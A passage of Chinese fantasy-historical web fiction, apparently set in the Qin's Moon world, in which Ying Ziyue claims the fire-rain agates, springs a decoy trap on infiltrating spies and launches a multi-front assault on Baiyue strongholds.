她微微蹙眉,袖中青叶无风自动,形成一个小小的屏障,隔绝着那几乎要灼伤神魂的炽热。
“非至阳至刚之体,或特殊**契合者,贸然汲取,必遭反噬。”
她不再迟疑,纤指结印,腰间一枚古朴的储物戒泛起幽光,开始将散落各处的火雨玛瑙逐一吸入戒中空间。
就在戒身微颤,即将收纳最后一小堆最为璀璨的玛瑙时——
“且慢。”
一道妖娆的红影如鬼魅般出现在洞窟入口,挡住了光线。
大司命款款走来,猩红的长指甲轻轻划过岩壁,留下焦黑的痕迹,目光却紧紧锁住那些玛瑙。
“如此天地奇珍,师妹想独吞不成?”
大司命红唇勾起,眼中却无半分笑意。
“东皇大人对此物亦颇感兴趣,命我带回些
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许,以供参研。”
少司命动作未停,清冷的声音在燥热的矿洞中显得格外清晰。
“此物乃夫君点名所需,需全部带回。”
“东皇若有所需,可遣人与夫君商议。”
说话间,最后一枚玛瑙化作流光没入戒指!
大司命脸色一沉,周身泛起血色煞气!
“少司命!别忘了你的身份,你的一切皆是阴阳家所赐!莫要为了一个赢子夜,忘了根本!”
她五指微张,骷髅血手印的虚影在掌心隐隐浮现,威胁之意不言而喻!!
“今日,这些玛瑙,我必须要带走一部分!”
矿洞内的温度仿佛骤然降至冰点!
又混杂着血手印带来的腥热!
少司命周身悬浮的青叶瞬间锋锐如刀,紫眸冷然望向大司命,无声却坚定。
就在剑拔**张之际,一道空灵淡漠的声音悠然传来,打破了僵持。
“同门相争,成何体统?”
月神的身影无声无息地出现在两人之间,银纱遮眼,蓝裙飘曳,周身散发着朦胧而威严的气息。
她并未看向任何一人,只是对着那枚储物戒微微抬手,戒身轻颤,却并未脱离少司命的控制。
“月神大人。”
大司命收敛了几分煞气,但语气仍硬,“这可是首领之命…”
“首领之意,我已知晓。”
月神淡淡打断她,声音平和却带着不容置疑的力量。
“然此处之物,确为六公子所获,强取,非但伤及阴阳家与公子合作之谊,亦落了下乘!”
她微微侧首,似乎透过银纱看向少司命。
“少司命夫唱妇随,并无过错。”
旋即又转向大司命,语气微沉:“倒是大司命,你的杀心过重了。”
大司命咬牙,似有不甘,但在月神的目光注视下,终究还是缓缓散去了掌心血印。
月神这才缓缓道:“首领也是欲求此物,而六公子亦需此物。”
“不如由我亲自随少司命回一趟南疆,面见公子,**利害,为阴阳家求取些许份额,想来公子并非不通情理之人。”
她顿了顿,声音缥缈。
“况且…苍龙七宿之秘,或许也需借此物之力方能更进一步。”
“此乃合则两利之事,无需刀兵相见。”
少司命沉默片刻,周身青叶缓缓平复。
她深知月神在阴阳家的地位与实力,此刻出面转圜,已是最好的局面。
她微微颔首。
“可。”
月神唇角似勾起一丝极淡的弧度。
“如此甚好,那便动身吧,莫让你家夫君久等。”
她转身,蓝裙漾开一片清冷的光晕。
“虽然已过半月之余,但南疆血雨犹在眼前。”
“想不到,今日再会,火雨玛瑙已尽入公子囊中……”
大司命冷哼一声,终究没再反对,化作红影悄然散去。
少司命则是将储物戒握入掌心,能清晰地感受到其中火雨玛瑙传来的阵阵灼热能量。
她与月神一紫一蓝两道身影,一前一后,悄然离开这片依旧残留着混乱与贪婪气息的矿洞,向着南疆方向而去。
第206章 本公子给你才是你的,否则,死!
数日之后。
南疆大营的肃杀之气被初夏的湿热裹挟,空气黏腻得令人窒息。
赢子夜独坐帐中,指尖的金焰正灼烤着一枚密信。
田言飞鸽传书的那页信件已在火焰中蜷曲焦黑。
唯有“罗网旧部”、“**驳杂”、“疑似一脉”等字眼在彻底湮灭前一闪而过。
“披着罗网的皮…”
他低声冷笑,黑瞳中寒芒流转。
“赵高,你养得这些杂碎,倒是越来越会藏了。”
“钟离昧。”
声音不高,却穿透帐幕。
铁甲铿锵声即刻逼近,钟离昧单膝跪地。
“公子!”
“点三百‘幽云骑’,即刻出发!”
赢子夜甩出一枚玄铁令箭,箭尖精准点在地图上一处无名山谷。
“公输仇的队伍三日后申时会途经此地,接应他们,毫发无损地带回来。”
他抬眸,黑瞳如冷电!
“若有拦路者,无论披着哪张皮,尽诛!!!”
“诺!”
钟离昧接过令箭,起身时带起一阵腥风!
就在他转身欲出时,帐帘微动,少司命的紫衣无声拂入,带着一身风尘与淡淡的血腥气。
“夫人!”
钟离昧一凛,急忙行礼,侧身避开。
而少司命只是微微点头,并未多看钟离昧一眼,径直走到赢子夜案前,将那枚古朴的储物戒置于桌上。
“火雨玛瑙已尽数在此。”
她声音清冷依旧,但细听之下有一丝不易察觉的疲惫。
“不过…此物灵力暴烈非常,内含火毒,若不得法,汲取反受其害。”
她指尖轻点,戒面微光一闪,一缕赤红气息逸出,竟灼得空气滋滋作响!
赢子夜随手抓起那缕气息,任其在掌心灼烧出青烟。
“天泽能用,本公子自然也能找到用法!”
他碾碎红芒,目光却落在少司命微蹙的眉间。
“还有事?”
少司命沉默一瞬。
“月神与大司命随我同来,正在帐外,大司命奉东皇之命,欲索部分火雨玛瑙。”
帐内温度骤降!!
“让她们进来。”
赢子夜的声音听不出喜怒。
月神与大司命步入帐中。
月神银纱遮面,姿态依旧飘渺出尘,微微颔首。
“六公子。”
而大司命则红裙似火,目光灼灼地扫过那枚储物戒,毫不掩饰其中的渴望。
“本公子听闻……”
赢子夜指尖轻叩桌案,每一声都似敲在人心上。
“阴阳家欲带走一部分火雨玛瑙?”
大司命上前一步,唇角带笑。
“正是!东皇大人欲借此物参悟天道,还望公子行个方便,此物对首领…”
“砰!”
一道无形掌力毫无征兆地轰在大司命胸口!
她闷哼一声,红裙炸裂,整个人如断线风筝般倒飞出去,重重撞在帐柱上,呕出一口鲜血,脸上写满惊骇与难以置信!!
月神身形微动,银纱无风自动。
“公子息怒!”
赢子夜缓缓收掌,眸中精芒如实质般压向大司命。
“对本公子夫人不敬,便是对本公子不敬。”
他声音冰寒刺骨。
“若不是看在东皇太一的面上,今日,你这具皮囊就该留在外面喂蛊了!”
月神深深一礼。
“多谢公子手下留情!大司命心急求物,失了礼数,还望公子海涵。”
赢子夜却不再看她们,目光转向那枚戒指,随手从中取出三块最小的、光泽相对黯淡的火雨玛瑙,信手抛向月神。
“拿去吧。”
他语气淡漠:“回去告诉东皇,合作,要有合作的样子。”
“本公子给的,才是你们的,不给就不能抢。”
他目光倏地扫过勉强爬起来的大司命,杀意如刀!!!
“否则,死!”
三块玛瑙落入月神手中,虽数量稀少,但其中蕴含的炽热能量依旧让她掌心微颤。
她不敢多言,再次敛衽一礼!
“月神谨记,谢公子赐。”
大司命捂着剧痛的胸口,低下头,掩去眼中翻涌的怨毒与恐惧,声音嘶哑。
“在下…记住了。”
“记住就好。”
赢子夜拂袖转身,望向帐外连绵的军营。
“滚吧!本公子还有军务要忙。”
月神扶起大司命,迅速退出了大帐,仿佛多留一刻都会被那无形的威压碾
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碎。
帐内重归寂静。
少司命静静立在一旁。
赢子夜忽然开口,声音缓了些:“夫人,一路辛苦了。”
“这些玛瑙,你先替为夫收着,该如何用,咱们容后再议。”
少司命微微颔首,收起戒指,紫眸掠过他挺拔却隐透孤寂的背影,终是无声地退至内帐中,如往常一般,静静陪伴。
……
万蛇谷。
潮湿的洞穴中,水滴砸在毒潭的声音单调得令人心烦。
天泽的蛇形锁链卷着一封密信,信纸边缘的玄鸟暗纹正在被毒液缓缓腐蚀。
“公输仇…韩信…”
他猩红的舌尖舔过獠牙,“赢子夜连看家老狗都派出来了?”
驱尸魔的骨杖嗡嗡作响:“主上,胡亥信中提及公输家的霸道机关术,据说能…”
“能什么?”
天泽冷笑,锁链猛地绞碎信纸,“能拆了本君的尸傀?还是能填平百越的沼泽?”
他指尖刺入毒潭,搅起一团翻滚的淤泥!
“机关铁皮再硬,能硬过蛊虫钻心?”
“齿轮转得再快,快得过血线蛊繁殖?”
“而且,机关术终究要靠人操控,若是操控的人瞎了眼、疯了心,再精巧的齿轮,也只是废铜烂铁!!”
百毒王佝偻着凑近。
“老奴正好研成‘心魇蛊’,能钻入识海,惑人心智…”
“好。”
天泽眸光一闪,锁链猛地一甩,将洞壁震得轰然作响!
“再配合你那‘蚀铁疽’,由里至外,先啃机括,再啃人心。”
“等公输仇再施展什么‘铁甲蜈蚣’,我便要他看着自己最得意的兽兵,失控自噬!!!”
驱尸魔骨杖顿地,尸气滚滚而出!
“尸傀可为诱,蛊虫可为饵。”
“若他们真敢下地潜行,便叫他们在黑暗里,死不见尸。”
天泽的锁链舞动,拍击毒潭,腥风扑面:“赢子夜,你以为只有你会下棋?”
“呵…本君的棋盘,可是用蛊虫和活人铺的!!”
洞穴深处,数百蛊虫齐声尖啸,仿佛回应主人的狂笑。
钟乳石簌簌坠落,毒雾翻涌而起,像一场即将吞没机关兽的噩梦。
第207章 两日后,猎杀开始!
与此同时。
中军大帐内,气息凝重如铁。
一名斥候疾步入帐,双手高举军报,声音因急行而带着嘶哑!
“公子!咸阳八百里加急传来消息——”
“王贲将军已奉陛下虎符,率五万水师,自灵渠启航!”
“日夜兼程,不出七日,便可抵达漓江、前线!!!”
军帐之中,众将闻言,神色各异。
有人心中振奋,此乃天降援军!
亦有人眉宇间掠过忧色,担忧水师深入瘴雨蛊林,恐遭暗算。
赢子夜静静听完,未言一语。
他玄衣如墨,指尖仍在沙盘上游走,抚过一条条蜿蜒的水道。
随着那手指落下,代表王贲水师的木俑缓缓推至蛇谷前沿,仿佛大军行至眼前!
“七日。”
他终于抬眸,黑瞳冷冽如锋,扫过帐中肃立的诸将。
“七日之内,我要百越所有眼睛,都钉死在这条水路上。”
他颔首,语气不高,却宛若铁令!
帐内将领齐声应诺,杀机在空气中流转,仿佛已经嗅到即将来临的血腥风暴。
就在这时。
帐帘再次掀动,钟离昧风尘仆仆踏入:“公子,公输先生与韩将军已到!”
赢子夜眼底终于掠过一丝真正的笑意:“快请。”
公输仇的机关臂还沾着泥泞,咧着嘴露出满口黄牙:“殿下,老夫的‘破土三郎’可是饿得很了!”
韩信跟在其后,甲胄沉静,唯有一双眼睛锐利得惊人。
诸将齐聚,赢子夜玄袖拂过沙盘:“韩信。”
“末将在。”
“予你一万精骑,自黑风峡潜入。”
他的手指在沙盘百越腹地划出刁钻弧线,“不必报禀,不必协防,你只需做一件事——”
指尖刺入代表蛇谷核心的区域!
“把天泽的蛊巢搅得天翻地覆!!!”
韩信抱拳:“诺。”
二字如金石坠地!
“樊哙、周勃、灌婴。”赢子夜连点三将。
三名悍将齐声踏前一步:“末将在!”
这三人,自从随赢子夜镇守南疆以来,几乎未曾离开主帅左右,纵横战阵间以悍勇著称,皆是久经血火的急先锋!
“你们各领麾下精兵,为左右翼锋。”
赢子夜手中迸发金焰,分出三股支流,如毒蛇缠向百越两翼!
“樊哙走腐骨潭,周勃袭万蛇窟,灌婴攻毒蟾泽。”
“遇寨即焚,见敌即杀,不必恋战!”
三人狞笑领命,铠甲铿然。
蒙毅忍不住开口:“公子,如此分兵是否太过冒险?主力若再…”
“主力走灵渠古道。”
赢子夜金焰猛然铺开,在沙盘上烧出最宽阔的行军路线!
“旌旗招展,鼓号齐鸣,要让百越的探子看得清清楚楚!!!”
帐内一片死寂!
赵佗硬着头皮道:“这…这不是明摆着告诉天泽我军主力动向?”
“正是要告诉他。”
赢子夜唇角勾起冷弧,“不仅要告诉,还要让他深信不疑!我大秦将士正傻乎乎地往他的陷阱里撞。”
他倏地转身看向公输仇:“需要几日?”
公输仇的机关臂咔咔变形,弹出钻头与锯刃:“两天!两天之内,老夫让五千机关兽从地底钻穿他蛇谷!”
“好!”
赢子夜一掌拍碎案角,“两日后,主力如期开拔。”
“我要天泽把所有尸傀都堆到灵渠古道!!!”
他瞳中倒映出沙盘上纵横交错的**,“等他发现啃不动铁甲时…”
韩信突然接话:“我的奇兵已端了他老巢。”
“而王贲的水师——”
赢子夜指尖重重点在漓江尽头,“正好给他送葬!!!”
众将呼吸骤促,仿佛已看见尸山血海的胜局。
“最后。”
赢子夜甩出五枚玄铁令,“钟离昧、赵佗、苏角、涉间、王离各领五千人马,分五路佯攻百越各寨。”
他眼中闪过讥诮,“既然要演戏,那就把戏台搭得更热闹些。”
当诸将领命而去后,帐中只剩赢子夜与公输仇韩信三人。
“殿下好大的手笔。”
公输仇啧啧道,“用十万人马给老夫的机关兽当幌子?”
赢子夜凝视着沙盘上正缓缓沉入地底的机关兽模型:“因为本公子要的不是击退…”
金焰猛然吞
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没整个百越疆域,“是灭族!!”
地表之上,樊哙的狂笑与战马嘶鸣已撕裂夜空。
地底深处,公输仇的机关兽正发出饥饿的低吼。
两日后,猎杀…开场!!!
……
子时。
南疆大营的喧嚣渐息,唯剩虫鸣与远处漓江的流水声。
赢子夜玄衣无声地掠过巡夜士卒的影子,如一道幽影直抵营地边缘灯火通明的工坊。
公输仇正趴在一具狰狞的“机关兽”腹腔内,机关臂咔咔作响地调试着核心齿轮。
他满手油污,口中念念有词抱怨着南疆的湿气让精铁都生了锈。
“公输先生。”
赢子夜的声音冷不丁在他身后响起。
公输仇吓得一个激灵,脑袋“咚”地撞在上方铁板上。
他龇牙咧嘴地钻出来,看清来人,连忙抹了把脸上的油汗:“殿下?您怎么…”
赢子夜抬手,止住他的话。
掌心金焰托起一枚鸽卵大小、赤红如血的晶石。
其内部仿佛有熔岩流动,散发出的灼热能量让工坊内的空气都微微扭曲起来。
正是那火雨玛瑙!!!
“此物能量暴烈,先生看看,能否用于机关术?”
公输仇的眼睛瞬间直了,呼吸都变得粗重!
他几乎是扑上前,却又在咫尺处猛地停住,颤抖着伸出机关臂,小心翼翼地去触碰。
指尖即将接触时。
那玛瑙竟“嗡”地一声轻震!
逸散出的热浪烫得他机关臂上的符文瞬间亮起红光!
“老天爷!这…这能量!”
公输仇激动得语无伦次,围着玛瑙打转,想碰又不敢碰。
“岂止是能用!殿下,这是神器!”
“若能以此为核心驱动,老夫的机关兽能耗减半,力量倍增!”
“还有…还有!”
他眼中迸发出疯狂的光芒。
“若是将其嵌入自毁机关,关键时刻引爆…哈哈哈!莫说什么尸傀大军,就是一座山,也能给它炸平了!”
他手舞足蹈,唾沫横飞地比划着!
“就是…就是这东西太霸道,能量极不稳定,稍有不慎,恐怕未伤敌先伤己…”
第208章 好钢用在刀刃上!
赢子夜闻言,眉梢都未动一下。
仿佛公输仇说的是再平常不过的事情。
他随手又从袖中取出一个不起眼的布袋,掂了掂,里面传来叮咚碰撞的清脆声响,赫然是几十颗稍小一些、光泽略逊,但同样蕴含着恐怖能量的火雨玛瑙!
“这些,够你用了?”
他语气平淡,随手将整个布袋抛给公输仇。
仿佛他扔出的不是举世罕见的奇珍,而是一袋普通石子。
公输仇手忙脚乱地接住。
打开一看,差点激动得背过气去!
机关臂都因能量过载发出“嘎吱”声。
“够!太够了!殿下放心!老夫定造出让百越鬼哭狼嚎的大杀器!”
不远处。
一直静立在阴影中,仿佛与夜色融为一体的少司命,此刻紫纱下的唇角微微抽动了一下。
她看着公输仇抱着那袋足以引起天下纷争的宝物如获至宝,癫狂痴迷的模样。
又看向自家夫君那毫不在意的侧脸,心中不禁暗叹。
普天之下,恐怕也只有身边这人,能如此面不改色地将这般天地奇珍,如同分发糖果一般,随手丢给臣下。
只为了…换取战场上一份更暴戾的毁灭力量!!
赢子夜却已转身,玄衣拂过冰冷的地面。
“尽快装配。”
“两日后,本公子要看到它们咆哮的模样。”
“没问题!殿下您就瞧好吧!”
公输仇的声音因极度兴奋而尖锐,他紧紧抱着布袋,开始对着身旁的机关兽比划,眼中再无他物。
赢子夜步出工坊,少司命无声地跟上。
月光洒落,将他二人的影子拉长。
赢子夜忽然开口,像是自语,又像是说给她听。
“好东西,要用在刀刃上。”
“堆在库房里,不过是比较好看的石头罢了。”
少司命微微颔首,默然不语。
夜风带来公输仇在工坊内压抑不住的亢奋怪笑,以及机关零件更加疯狂的组装声响。
南疆的夜,因这几颗炽热的石头,注定要变得更加滚烫和血腥!
……
蛇谷最深处。
祭坛。
地心火精的光芒将天泽脸上的蛇鳞映得如同烧红的烙铁。
他指尖颤抖地抚过悬浮的晶石,感受着其中毁天灭地的能量!
“好…好!!”
天泽的狂笑声震得洞壁碎石簌簌落下。
“有了此物,百万尸傀触手可及!”
他猛地抓过一块最小的火精,炽热瞬间灼穿掌心皮肉,露出森森白骨!
他却浑不在意,反将伤口按在晶石上,任由烈焰顺着血脉焚烧。
“赏你的!”
另一块稍大的火精扔向焰灵姬。
焰灵姬红发无风自动,火精融入她心口时爆出刺目金芒,肌肤下浮现出熔岩般的纹路。
“都给本君守好了!”
天泽对着匍匐的部下嘶吼。
“十日!只要十日!”
他贪婪地舔舐着灼焦的指骨。
“等本君炼化第一块火精……”
“赢子夜的尸骸就是最好的祭品!”
洞外,突然传来翼蛇尖啸!
驱尸魔捧着血淋淋的竹简踉跄闯入:“主上!秦军主力动了!正朝灵渠古道…”
“来得正好!”
天泽一口吞下火精碎片,七窍喷出烈焰。
“让他们来!正好用他们的血…浇灌本君的成神之路!!!”
烈焰吞没他身影前,最后一句命令如同毒蛇吐信!
“盯死他们!一只苍蝇都不准放过!!!”
……
夜色深沉。
南疆大营的灯火大多已熄灭,只余中军帐内一点孤光。
赢子夜正对着沙盘凝神,帐帘忽被一道凌厉的剑气无声划开!
只见卫庄的身影如鬼魅般踏入,鲨齿剑鞘上还沾着夜露。
“你的老鼠钻得够深。”
卫庄的声音冷硬,不带丝毫寒暄。
“墨玉麒麟传讯,天泽得了信,两日内必派人来袭营,目标直指公输仇的机关兽。”
赢子夜黑眸微抬,指尖在沙盘上百越的方向轻轻一点。
“果然来了,之前袭击公输仇的那些人…倒是迫不及待的想给天泽递刀子。”
卫庄嗤笑:“需要我出手清理?”
“不急。”
赢子夜摇头,唇角勾起一丝冷冽的弧度。
“营中那些人派来的暗桩藏了这么久,也该借这个机会,请他们一
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次性地…亮亮相了。”
他击掌三声,赵弋苍如铁塔般悄无声息地现身!
“去寻公输先生,让他连夜赶制一批‘像样’的机关兽外壳,摆在东南角的废营区,要看起来像是严防死守的重地。”
赢子夜吩咐道,语气平淡却不容置疑。
“守卫布置得外紧内松,破绽留得明显些。”
赵弋苍瞬间领会:“主上是要请君入瓮?”
“再放话出去,就说机关核心畏潮,正在那处烘烤养护。”
赢子夜补充道,黑眸中算计的光芒流转:“做得逼真些。”
“那些藏在阴沟里的老鼠,自然会闻着味凑过去!”
卫庄抱臂旁观,闻言挑眉:“你倒是舍得下饵。”
“饵不下足,鱼怎么会上钩?”
赢子夜看向他。
“届时,还要劳烦卫先生与逆流沙的人。”
“若有来袭之人,无论是谁,一条活口都不必留!”
“可以。”
卫庄答应得干脆:“但墨玉麒麟那边…”
“让他继续藏着。”
赢子夜指尖划过咽喉,“他的刀,该用在更关键的时候……”
赵弋苍领命而去。
帐内重归寂静,只剩下沙盘旁跳跃的烛火。
卫庄并未立刻离开,他打量着赢子夜:“你似乎一点也不担心机关兽真被破坏?”
赢子夜抬手,抚平沙盘上一处微小的褶皱。
“天泽若以为几具破烂外壳就能断我臂膀,未免太小看我,也太小看公输仇了。”
他抬起眼,黑眸深不见底。
“更何况,用一堆废铁换一次清洗军营的机会,很值!”
卫庄发出一声意味不明的低哼,转身欲走。
“卫先生。”
赢子夜忽然叫住他。
“事后那些‘尸体’,处理得像是百越高层内部的灭口。”
卫庄脚步一顿,回头看了他一眼,眼中闪过一丝嗜血的笑意。
“放心,逆流沙最擅长的……就是让人死得合情合理。”
帐帘落下,赢子夜独自立于沙盘前,目光再次落回那片代表百越的崎岖之地,烛光将他的侧影拉得悠长而冰冷。
饵已撒下,只待毒蛇出洞……
第209章 以牙还牙!
深夜。
东南角的废营区死寂得反常。
十几具披着帆布的“机关兽”轮廓在阴影中伫立,周围巡逻的士卒步伐僵硬,眼神却不时瞟向黑暗深处。
那是赵弋苍安排的暗河精锐。
子时三刻,几声夜枭啼叫划破寂静。
营外沼泽地突然蠕动起来,数十个披着腐殖苔藓的身影如鬼魅般渗入栅栏!
他们以薄刃挑断鹿角木钩,趴伏于泥水间,呼吸浅得几不可闻。
两名探路者以泥球砸落草尖露水,倾听水声回响判断空地尺寸。
随即,五处同时切断外围绊索!
黑影如潮涌入。
而几乎同时,营内几个粮垛后闪出人影,无声割断了固定“机关兽”帆布的绳索。
正是胡亥的影狩派来潜伏在军营里的暗桩!!!
他们掩着面具,指背缝线**,脚步与军中更鼓节拍一致,借以混淆暗哨听觉。
“动手。”
百越一名首领低吼,淬毒的**射翻假意巡逻的哨兵。
暗桩们迅速扑向“机关兽”,利刃自帆布下缘划出整齐口子。
帆布翻落的瞬间,数柄钩爪同时探入!
里面竟是填满湿泥的木头架子。
“中计了。”
暗桩头目脸色一沉,双指一并!
“撤。”
为首的百越刺客立刻以烟壶砸地。
黑雾窜起!
人影后翻!
却在此时,听四面一齐爆响!!
“轰!”
废营区四角火匣同亮,狼烟腾起,照得营地如昼。
高处旌麾一展,赵弋苍铁盔重甲,重剑遥指:“主上有令,叛国者,格杀勿论!!!”
**机齐发!
第一排重矢钉死最外沿的接应手!
第二排绞盘**直射黑雾深处的脚踝与小腿!
第三排连环索网随矢出槽,张口便落,将数名影狩与百越**捆作一团!
百越首领猛地一拍地面。
数人欲土遁潜逃!
可脚底,却传来一阵金石寒意。
原来地表处早被公输仇以薄层铁浆与沙砾浇铸成甲。
他们的土遁之术居然尽数失灵!!
“破阵。”
人群中,那名暗桩头目反臂弹出袖中连珠镖,直取四角火匣。
一抹白影落地无声,剑鞘轻点。
连珠镖当空折返。
只见卫庄横行一步,袖口微振,三名近身者喉结同时塌陷!!!
“分割。”
暗河**与逆流沙死士们自栅格阴影掠出,成“品”字包抄!
短刃先挑脚筋,再封肘腋,最后勒喉!
刀光起处,鲜血被砂土迅速吞没,仅留一道暗影。
而影狩则反应极快。
两人交叉掷出钉索,试图套住卫庄脚踝。
可索头刚合,鲨齿剑便已出鞘寸许。
轻微的“啮合”声后,钉索齐断!!
两人尚未落地,已被剑鞘脊骨依次敲在眉心与人中!!
扑倒。
百越首领见势不妙,抽出骨笛。
刺耳的音波直冲营心。
火线两侧,则同时竖起铜皮隔门!
公输仇预埋的“断音墙”将声波全部折回。
笛音反噬!!!
首领喉头一甜,喷出黑血!
影狩暗桩头目狗急跳墙,扑向火把架欲点燃狼烟。
可一缕玄色衣角如影随形掠过他背后。
只见赢子夜竟亲自现身,并指如剑,点在其风府大穴!!
头目双膝一软,重重跪倒。
他瞳孔缩成针尖大小,直到侧首才看清那只毫不起眼的手指。
“拖下去。”
赢子夜声音平静,“留活口。”
数名影狩见状,这才反应过来,当即猛地一咬腮内毒囊!
然而,预想的剧毒发作却并没有出现。
他们反而只觉四肢发软,眼前星斗乱转!
原来是端木蓉比他们更早在空气中下了解药和**!
一人挣扎欲自刺心窝**,谁知腕骨却忽被一股剑气穿透钉在地面!!
只见晓梦立于暗处,衣袂未动,缓缓收回放出的剑气。
“收口。”
赵弋苍重剑一横,暗河在两侧推进,将残余敌影压向铁浆带与栅栏间狭槽。
**机第三轮收束射击只取小臂与大腿。
倒地者被网索挟走。
而挣扎仍厉者,再补麻枭箭一支。
黑雾将散未散之际,卫庄抬腕一指:“还剩七个。”
话音落,七处火光同时一暗一明!
七名潜伏在帆布下伪装尸体的刺客被翻裹而出!!
短兵交错,只听数声闷响。
全数按倒。
整场战斗自开端至收束,不过三刻!
火把噼啪作响,照见血水顺着铁浆纹理蜿蜒成细线。
赢子夜负手立于高处,目光淡淡掠过战场。
“装伤,毁两具假壳,散布‘机关兽受损’的消息。”
“诺!”
“至于这批暗桩活口,分批押去军法所。”
“诺!”
“天亮前,我要知道他们在南疆的所有爪子、联络暗语、接头地点,以及…他们幕后之人!”
赢子夜转身,玄衣掠过火光,“记得把爪子剁干净点,别留后患。”
“诺。”
卫庄甩净剑鞘上的血珠,看向赢子夜消失的方向,唇角罕见地勾起一丝弧度:
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“这局棋,你倒是越下越有趣了。”
夜风,拂过废营区,血腥气被吹得很淡。
营门外的草叶上,露珠重新凝成点点寒光。
只有倒地的影子,提醒这里方才发生过一次干净利落的**。
……
半个时辰后。
废营区的血腥气尚未散尽,十几具被劈烂的假机关兽骨架散落一地,木屑和湿泥混着暗红的血水,显得格外狼藉。
公输仇正蹲在一具还算完整的木头架子前。
机关臂咔咔作响地拆卸着上面的零件,嘴里嘟囔着“败家玩意儿”。
赢子夜的玄衣拂过地面,停在老人身后:“这些东西,还有用么?”
公输仇头也不回,嗤笑一声:“一堆劈柴火,能顶什么…”
话说到一半,他突然顿住,猛地扭头,小眼睛在赢子夜和那堆破烂之间来回扫视,突然迸发出精光。
“等等,殿下的意思是?”
他声音压低了,带着一种工匠发现绝妙材料时的兴奋颤抖。
“百越喜欢用尸傀,用毒人。”
赢子夜语气平淡,黑眸却深不见底:“让他们也尝尝,被‘自己人’追着咬的滋味。”
公输仇瞬间懂了!
他猛地跳起来,机关臂兴奋地挥舞:“妙啊!太妙了!”
“木头架子不怕毒,不怕蛊,里面塞满老夫特制的**、爆裂符…”
他扑到那堆破烂前,像是抚摸情人一样摸着焦黑的木头!
“外面就糊上从那些百越**身上剥下来的皮,再淋点他们的血!保证气味一模一样!”
他越说越激动,几乎手舞足蹈。
“到时候混进百越的队伍里,突然自爆!”
“或者追着他们喷毒液!哈哈哈…天泽的表情一定很精彩!”
“能做多少?”赢子夜直接问。
“给老夫一晚上!”
公输仇拍着胸脯,机关臂砰砰作响。
“就一晚上!老夫给您弄出五十个‘百越机关尸’!保证比真尸傀还像!”
“去做吧。”
赢子夜颔首,“正式行动前,我要它们出现在该出现的地方。”
公输仇咧开嘴,露出满口黄牙,笑容狰狞:“放心吧殿下!老夫一定让这些破烂…物尽其用!”
他立刻像打了鸡血般冲工坊吼叫起来:“小子们!别睡了!都起来干活!”
“把这些‘柴火’都给老子搬进去!今晚咱们搞点大动静!”
赢子夜转身离开,身后是公输仇亢奋的指挥声和工匠们忙碌的声响。
夜色中,他的侧脸冷硬如铁。
废物利用?
不,这只是以牙还牙的开始!!!
第210章 秦军出征,山川失色,风云皆惊!
两日之后。
南疆大营内,工坊的轰鸣终于止息。
公输仇通宵未眠,带着一群工匠将机关尸傀尽数组装完毕。
铁皮尚带余温,齿轮与符纹同步咆哮!
营外,寒风呼啸,将明未明!
赢子夜负手立于中军大帐前,冷眼注视着这一切。
一切都按照他事先的部署,缓缓启动!
那五千机关兽,早被公输仇率人送入地底通道,沿着暗渠直指蛇谷的方向!
夜幕下,整座大营犹如一张收紧的网……
蓄力,发出!!
黎明时分。
腐骨潭上方的瘴雾被晨风吹得翻涌!
樊哙第一个冲在最前,赤膊披甲,双手握着巨斧猛然劈开一团翻滚的毒瘴。
伴随着“轰”的一声闷响,毒雾被生生撕裂成两股,他浑身裹着瘴气冲入寨门,如同一头破阵的猛虎!
身后两千轻骑紧随而入,战马喷着白雾,马蹄踏得泥水四溅,撞翻了沿途设置的竹刺与毒木桩。
长矛和火把高举,骑兵们如尖刀般捅入寨心,喊杀声直冲云霄!!
“儿郎们!烧光这些养蛊的窝!”
樊哙嗓音如雷,震得耳膜发疼。
火把纷纷掷出,砸在吊脚楼和竹屋上!
那些浸泡过尸油的茅草瞬间轰燃,火焰顺着屋檐成片蔓延,热浪卷起漫天黑烟。
被困在屋里的毒蛊坛子接连爆裂,成百上千只毒虫烧得“噼啪”作响,发出让人头皮发麻的惨叫。
一名满脸涂着灰白祭纹的百越巫医急忙吹响骨笛,试图召回逃窜的蛊虫。
高亢的笛声在火海中刺耳震动!
然而,未等音波扩散,一道巨影扑下!!
樊哙双臂一振,巨斧轰然斩落,硬生生将那巫医连人带笛从肩头劈开!!!
血雾伴着破碎的笛声在火焰中炸开!
他随手一脚把尸体踢进燃烧的屋里,连同余音一起吞没。
“呸!”
樊哙吐掉口中混着血腥味的烟灰,眼睛在火光中亮得骇人,“还不够爷爷热身的!”
他大步前行。
身后轻骑士兵们呼应着放声嘶吼!
火光将他们的身影拉得狰狞修长。
毒潭边沿的木栈桥在战马奔踏下轰然崩断!
数十名百越弟子慌乱跌入潭中,瞬间被潭底潜伏的毒蛭咬得鲜血狂涌。
喊杀声、**声、毒虫的尖啸和樊哙的大笑混成一片!
整个腐骨潭,像是被撕开的地狱!!!
……
十数里外。
万蛇窟的崖壁盘绕如龙。
周勃立在前军之首,面色冷峻如铁。
他缓缓抬起手,上千**兵同时拉满弦!
黑色的箭簇在晨曦中闪着寒光,如同一片乌云遮天蔽日。
“放!”
**机齐鸣!
万箭破空的呼啸声几乎压过了山谷中的蛇吟。
无数毒蛇被钉在崖壁和洞口,鲜血淋漓地坠落,蛇群的嘶鸣汇成一片刺耳的海啸声。
周勃铁枪遥遥指向洞穴深处,声线冷厉:
“火箭。”
数百支浸满火油的羽箭被点燃,尾羽拖着火光,如流星雨般射入蛇巢!
下一刻,轰鸣声连绵不断!
**掀起的烈焰在洞穴间奔腾,毒气被炽火烧散,整座蛇窟仿佛瞬间变成巨大的熔炉。
洞壁的石块在高温中炸裂,碎石伴着火蛇飞溅而出。
烈焰之中,一头巨**嘶吼着冲出,鳞片焦黑,獠牙森寒!
一名百越弟子披头散发,竭力吹动骨笛,强行驱赶巨**扑向秦军。
周勃岿然不动,只待巨**冲至眼前,铁枪骤然前探!
“噗——”
枪尖如闪电般洞穿巨**七寸,血液喷洒在他坚毅的脸庞上。
他猛地发力,将上千斤重的巨**死死钉在地面,血雾升腾!!!
“记着——”
他扯声怒吼,声音穿透火海与滚滚浓烟,震得山谷回音不绝。
“杀你们的,是大秦周勃!!!”
火光映照下,他高举铁枪,枪尖挑着尚未死透的巨**尸体,血与火交织的场面震慑人心。
秦军骑兵嘶吼着冲锋!
烈焰吞没蛇窟,百越弟子尖叫声接连响起,**声和火焰彻底淹没。
……
而另一边。
灌婴的战马踏过毒蟾泽的淤泥,马蹄铁早已镀上防毒铜层。
他长戟挑飞扑来的毒蟾,厉声喝道:“散开!泼油!”
